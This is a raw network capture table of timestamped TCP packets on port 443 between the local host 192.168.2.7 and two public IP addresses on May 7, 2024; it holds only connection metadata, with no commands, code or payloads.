May 7, 2024 20:28:39.234970093 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935298920 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935317993 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935345888 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935353994 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.935359955 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935373068 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935379028 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935415030 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.935460091 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.935755014 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935801983 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.935807943 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935847044 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.935925007 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:39.935959101 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.937748909 CEST	49767	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:39.937772036 CEST	443	49767	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.043207884 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.043252945 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.043312073 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.043617010 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.043626070 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.389076948 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.389384031 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.389406919 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.389812946 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.390213013 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.390296936 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.390402079 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.390705109 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.969908953 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.969930887 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.969945908 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.970168114 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:40.970210075 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.970227957 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:40.970459938 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.139420986 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139446020 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139630079 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.139666080 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139740944 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139756918 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.139769077 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139789104 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139794111 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.139815092 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.139825106 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.139849901 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.139888048 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.140225887 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.140245914 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.140328884 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.140328884 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.140341043 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.141796112 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.308974981 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.308998108 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309078932 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309123039 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309134007 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309168100 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309187889 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309473038 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309497118 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309509993 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309534073 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309540987 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309562922 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309669018 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309730053 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309756994 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309762001 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.309784889 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.309787035 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.310045958 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.310719013 CEST	49768	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.310734987 CEST	443	49768	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.356595993 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.356657982 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.356837988 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.357448101 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.357451916 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.357459068 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.357507944 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.357649088 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.358722925 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.358728886 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.714349031 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.714700937 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.714726925 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.715050936 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.715111017 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.715238094 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.715275049 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.715590000 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.715615034 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.715657949 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.718641996 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.718679905 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.718713045 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.718816042 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.718875885 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.718902111 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:41.755933046 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:41.772772074 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.127966881 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.129414082 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.129492044 CEST	443	49770	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.129594088 CEST	49770	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.348799944 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348824978 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348839045 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348850965 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348862886 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348891020 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.348918915 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348937035 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348946095 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.348965883 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.348978996 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.348984003 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.349016905 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.349040031 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.443995953 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.444051027 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.444118977 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.447911978 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.447938919 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.518328905 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.518407106 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.518419981 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.518733025 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.519232988 CEST	49769	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.519253016 CEST	443	49769	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.525969982 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.526026964 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.526084900 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.526395082 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.526417971 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.527456999 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.527477026 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.527813911 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.527945042 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.527977943 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.528029919 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.528192997 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.528206110 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.528325081 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.528338909 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.711900949 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.712213993 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.712240934 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.713269949 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.713336945 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.714575052 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.714633942 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.761436939 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.761475086 CEST	443	49771	13.107.213.36	192.168.2.7
May 7, 2024 20:28:42.804982901 CEST	49771	443	192.168.2.7	13.107.213.36
May 7, 2024 20:28:42.871342897 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.871629000 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.871644020 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.872817039 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.872876883 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.873292923 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.873369932 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.873537064 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.873544931 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.879525900 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.879744053 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.879757881 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.880098104 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.880652905 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.880717993 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.881036043 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.881064892 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.885474920 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.886025906 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.886045933 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.887124062 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.887176037 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.887806892 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.887868881 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.888092041 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.888107061 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:42.917079926 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:42.932291031 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.357897997 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.409972906 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.410000086 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.453705072 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.453733921 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.453756094 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.453799963 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.453814983 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.453835964 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.453862906 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.454099894 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.454117060 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.454148054 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.454153061 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.454194069 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.455576897 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.477969885 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.477999926 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478008032 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478023052 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478041887 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478063107 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.478082895 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478094101 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478104115 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.478121996 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.478127003 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478142023 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.478157997 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.478178024 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.478291035 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.486016989 CEST	49772	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.486032963 CEST	443	49772	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528238058 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528249979 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528281927 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528301001 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528318882 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528331995 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.528342009 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528383970 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.528388977 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.528424978 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.529680967 CEST	49774	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.529695034 CEST	443	49774	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623368025 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623404980 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623461008 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.623472929 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623524904 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.623716116 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623733997 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623790979 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.623796940 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.623842001 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.624128103 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.624144077 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.624202967 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.624209881 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.624249935 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796294928 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796327114 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796394110 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796399117 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796411037 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796428919 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796454906 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796463013 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796483040 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796502113 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796502113 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796516895 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796534061 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796559095 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796564102 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796590090 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796598911 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796608925 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796614885 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796637058 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796652079 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796694040 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796710014 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796713114 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796719074 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.796736956 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.796765089 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.797060966 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.840239048 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.840265036 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.840356112 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.840368986 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.840410948 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.963145971 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.963174105 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.963217020 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.963227034 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.963279009 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.963967085 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.963980913 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.964031935 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.964039087 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.964092016 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.964389086 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.964404106 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.964449883 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.964457035 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.964488029 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.965759993 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.965775013 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.965810061 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.965816021 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.965856075 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.966224909 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966240883 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966296911 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.966303110 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966337919 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.966631889 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966645956 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966686010 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.966691017 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966718912 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.966736078 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.966962099 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.966978073 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967025995 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967034101 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967056036 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967133999 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967364073 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967387915 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967417002 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967422962 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967449903 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967469931 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967710972 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967725992 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967768908 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967773914 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.967807055 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.967998028 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.968013048 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.968048096 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.968053102 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.968077898 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.968123913 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.968172073 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.968245983 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.968261003 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.968303919 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:43.968310118 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:43.968355894 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.009618998 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.009646893 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.009685993 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.009697914 CEST	443	49773	5.230.47.86	192.168.2.7
May 7, 2024 20:28:44.009742975 CEST	49773	443	192.168.2.7	5.230.47.86
May 7, 2024 20:28:44.010709047 CEST	443	49773	5.230.47.86	192.168.2.7
